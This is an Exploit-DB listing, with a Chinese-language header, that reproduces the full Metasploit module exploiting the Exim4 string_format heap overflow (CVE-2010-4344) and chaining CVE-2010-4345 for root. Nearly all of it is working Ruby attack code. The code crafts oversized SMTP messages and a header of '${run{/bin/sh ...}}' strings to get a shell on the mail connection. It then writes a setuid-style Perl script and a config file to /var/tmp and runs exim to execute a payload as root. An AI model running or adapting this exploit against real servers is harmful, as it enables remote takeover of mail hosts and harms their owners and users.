标题: Exim4 < 4.69 - string_format Function Heap Buffer Overflow (Metasploit) EDB-ID: 16925 CVE: 2010-4345 2010-4344 类型: REMOTE 平台: LINUX 发布日期: 2010-12-16 漏洞利用脚本: ##
# $Id: exim4_string_format.rb 11352 2010-12-16 17:30:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Smtp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Exim4 <= 4.69 string_format Function Heap Buffer Overflow',
   'Description'    => %q{
     This module exploits a heap buffer overflow within versions of Exim prior to
    version 4.69. By sending a specially crafted message, an attacker can corrupt the
    heap and execute arbitrary code with the privileges of the Exim daemon.

    The root cause is that no check is made to ensure that the buffer is not full
    prior to handling '%s' format specifiers within the 'string_vformat' function.
    In order to trigger this issue, we get our message rejected by sending a message
    that is too large. This will call into log_write to log rejection headers (which
    is a default configuration setting). After filling the buffer, a long header
    string is sent. In a successful attempt, it overwrites the ACL for the 'MAIL
    FROM' command. By sending a second message, the string we sent will be evaluated
    with 'expand_string' and arbitrary shell commands can be executed.

    It is likely that this issue could also be exploited using other techniques such
    as targeting in-band heap management structures, or perhaps even function pointers
    stored in the heap. However, these techniques would likely be far more platform
    specific, more complicated, and less reliable.

    This bug was original found and reported in December 2008, but was not
    properly handled as a security issue. Therefore, there was a 2 year lag time
    between when the issue was fixed and when it was discovered being exploited
    in the wild. At that point, the issue was assigned a CVE and began being
    addressed by downstream vendors.

    An additional vulnerability, CVE-2010-4345, was also used in the attack that
    led to the discovery of danger of this bug. This bug allows a local user to
    gain root privileges from the Exim user account. If the Perl interpreter is
    found on the remote system, this module will automatically exploit the
    secondary bug as well to get root.
   },
   'Author'         => [ 'jduck', 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11352 $',
   'References'     =>
    [
     [ 'CVE', '2010-4344' ],
     [ 'OSVDB', '69685' ],
     [ 'BID', '45308' ],
     [ 'CVE', '2010-4345' ],
     #[ 'OSVDB', '' ],
     [ 'BID', '45341' ],
     [ 'URL', 'http://seclists.org/oss-sec/2010/q4/311' ],
     [ 'URL', 'http://www.gossamer-threads.com/lists/exim/dev/89477' ],
     [ 'URL', 'http://bugs.exim.org/show_bug.cgi?id=787' ],
     [ 'URL', 'http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b' ]
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Space'       => 8192, # much more in reality, but w/e
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl ruby bash telnet',
      }
    },
   'Platform'       => 'unix',
   'Arch'           => ARCH_CMD,
   'Targets'        =>
    [
     [ 'Automatic', { } ],
    ],
   # Originally discovered/reported Dec 2 2008
   'DisclosureDate' => 'Dec 7 2010', # as an actual security bug
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('MAILFROM', [ true, 'FROM address of the e-mail', 'root@localhost']),
    OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'postmaster@localhost']),
    OptString.new('EHLO_NAME', [ false, 'The name to send in the EHLO' ])
   ], self.class)

  register_advanced_options(
   [
    OptString.new("SourceAddress", [false, "The IP or hostname of this system as the target will resolve it"]),
    OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]),
    OptBool.new("SkipVersionCheck", [true, "Specify this to skip the version check", false])
   ], self.class)
 end

 def exploit
  #
  # Connect and grab the banner
  #
  ehlo = datastore['EHLO_NAME']
  ehlo ||= Rex::Text.rand_text_alphanumeric(8) + ".com"

  print_status("Connecting to #{rhost}:#{rport} ...")
  connect

  print_status("Server: #{self.banner.strip}")
  if self.banner !~ /Exim /
   raise RuntimeError, "The target server is not running Exim!"
  end

  if not datastore['SkipVersionCheck'] and self.banner !~ /Exim 4\.6\d+/i
   raise RuntimeError, "Warning: This version of Exim is not exploitable"
  end

  ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
  ehlo_resp.each_line do |line|
   print_status("EHLO: #{line.strip}")
  end

  #
  # Determine the maximum message size
  #
  max_msg = 52428800
  if ehlo_resp.to_s =~ /250-SIZE (\d+)/
   max_msg = $1.to_i
  end

  #
  # Determine what hostname the server sees
  #
  saddr = nil
  revdns = nil
  if ehlo_resp =~ /^250.*Hello ([^\s]+) \[([^\]]+)\]/
   revdns = $1
   saddr = $2
  end
  source = saddr || datastore["SourceAddress"] || Rex::Socket.source_address('1.2.3.4')
  print_status("Determined our hostname is #{revdns} and IP address is #{source}")


  #
  # Initiate the message
  #
  from = datastore['MAILFROM']
  to   = datastore['MAILTO']

  resp = raw_send_recv("MAIL FROM: #{from}\r\n")
  resp ||= 'no response'
  msg = "MAIL: #{resp.strip}"
  if not resp or resp[0,3] != '250'
   raise RuntimeError, msg
  else
   print_status(msg)
  end

  resp = raw_send_recv("RCPT TO: #{to}\r\n")
  resp ||= 'no response'
  msg = "RCPT: #{resp.strip}"
  if not resp or resp[0,3] != '250'
   raise RuntimeError, msg
  else
   print_status(msg)
  end

  resp = raw_send_recv("DATA\r\n")
  resp ||= 'no response'
  msg = "DATA: #{resp.strip}"
  if not resp or resp[0,3] != '354'
   raise RuntimeError, msg
  else
   print_status(msg)
  end


  #
  # Calculate the headers
  #
  msg_len         = max_msg + (1024*256) # just for good measure
  log_buffer_size = 8192

  host_part = "H="
  host_part << revdns << " " if revdns != ehlo
  host_part << "(#{ehlo})"

  # The initial headers will fill up the 'log_buffer' variable in 'log_write' function
  print_status("Constructing initial headers ...")
  log_buffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from <#{from}> #{host_part} [#{source}]: "
  log_buffer << "message too big: read=#{msg_len} max=#{max_msg}\n"
  log_buffer << "Envelope-from: <#{from}>\nEnvelope-to: <#{to}>\n"

  # We want 2 bytes left, so we subtract from log_buffer_size here
  log_buffer_size -= 3 # account for the nul termination too

  # Now, "  " + hdrline for each header
  hdrs = []
  while log_buffer.length < log_buffer_size
   header_name = rand_text_alpha(10).capitalize
   filler = rand_text_alphanumeric(8 * 16)
   hdr = "#{header_name}: #{filler}\n"

   one = (2 + hdr.length)
   two = 2 * one
   left = log_buffer_size - log_buffer.length
   if left < two and left > one
    left -= 4 # the two double spaces
    first = left / 2
    hdr = hdr.slice(0, first - 1) + "\n"
    hdrs << hdr
    log_buffer << "  " << hdr

    second = left - first
    header_name = rand_text_alpha(10).capitalize
    filler = rand_text_alphanumeric(8 * 16)
    hdr = "#{header_name}: #{filler}\n"
    hdr = hdr.slice(0, second - 1) + "\n"
   end
   hdrs << hdr
   log_buffer << "  " << hdr
  end
  hdrs1 = hdrs.join

  # This header will smash various heap stuff, hopefully including the ACL
  header_name = Rex::Text.rand_text_alpha(7).capitalize
  print_status("Constructing HeaderX ...")
  hdrx = "#{header_name}: "
  1.upto(50) { |a|
   3.upto(12) { |b|
    hdrx << "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} "
   }
  }

  # In order to trigger the overflow, we must get our message rejected.
  # To do so, we send a message that is larger than the maximum.

  print_status("Constructing body ...")
  body = ''
  fill = (Rex::Text.rand_text_alphanumeric(254) + "\r\n") * 16384

  while(body.length < msg_len)
   body << fill
  end
  body = body[0, msg_len]

  print_status("Sending #{msg_len / (1024*1024)} megabytes of data...")
  sock.put hdrs1
  sock.put hdrx
  sock.put "\r\n"
  sock.put body

  print_status("Ending first message.")
  buf = raw_send_recv("\r\n.\r\n")
  # Should be: "552 Message size exceeds maximum permitted\r\n"
  print_status("Result: #{buf.inspect}") if buf

  print_status("Sending second message ...")
  buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
  # Should be: "sh-x.x$ " !!
  print_status("MAIL result: #{buf.inspect}") if buf

  buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")
  # Should be: "sh: RCPT: command not found\n"
  if buf
   print_status("RCPT result: #{buf.inspect}")
   if buf !~ /RCPT/
    raise RuntimeError, 'Something went wrong, perhaps this host is patched?'
   end
  end

  # Clear pending output from the socket
  sock.get_once(-1, 1.0)
  sock.put("source /etc/profile >/dev/null 2>&1\n")
  sock.get_once(-1, 2.0)
  resp = ''

  if not datastore['SkipEscalation']
   print_status("Looking for Perl to facilitate escalation...")
   # Check for Perl as a way to escalate our payload
   sock.put("perl -V\n")
   select(nil, nil, nil, 3.0)
   resp = sock.get_once(-1, 10.0)
  end

  if resp !~ /Summary of my perl/
   print_status("Should have a shell now, sending payload...")
   buf = raw_send_recv("\n" + payload.encoded + "\n\n")
   if buf
    if buf =~ /554 SMTP synchronization error/
     print_error("This target may be patched: #{buf.strip}")
    else
     print_status("Payload result: #{buf.inspect}")
    end
   end
  else
   print_status("Perl binary detected, attempt to escalate...")

   token = Rex::Text.rand_text_alpha(8)
   # Flush the output from the shell
   sock.get_once(-1, 0.1)

   # Find the perl interpreter path
   sock.put("which perl;echo #{token}\n")
   buff = ""
   cnt  =
   while not buff.index(token)
    res = sock.get_once(-1, 0.25)
    buff << res if res
   end

   perl_path = buff.gsub(token, "").gsub(/\/perl.*/, "/perl").strip
   print_status("Using Perl interpreter at #{perl_path}...")

   temp_conf = "/var/tmp/" + Rex::Text.rand_text_alpha(8)
   temp_perl = "/var/tmp/" + Rex::Text.rand_text_alpha(8)
   temp_eof  = Rex::Text.rand_text_alpha(8)

   print_status("Creating temporary files #{temp_conf} and #{temp_perl}...")

   data_conf = "spool_directory = ${run{#{perl_path} #{temp_perl}}}\n".unpack("H*")[0]
   sock.put("perl -e 'print pack qq{H*},shift' #{data_conf} > #{temp_conf}\n")

   data_perl = "#!/usr/bin/perl\n$) = $( = $> = $< = 0; system<DATA>;\n__DATA__\n#{payload.encoded}\n".unpack("H*")[0]
   sock.put("perl -e 'print pack qq{H*},shift' #{data_perl} > #{temp_perl}\n")

   print_status("Attempting to execute payload as root...")
   sock.put("PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin exim -C#{temp_conf} -q\n")
  end

  # Give some time for the payload to be consumed
  select(nil, nil, nil, 4)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16925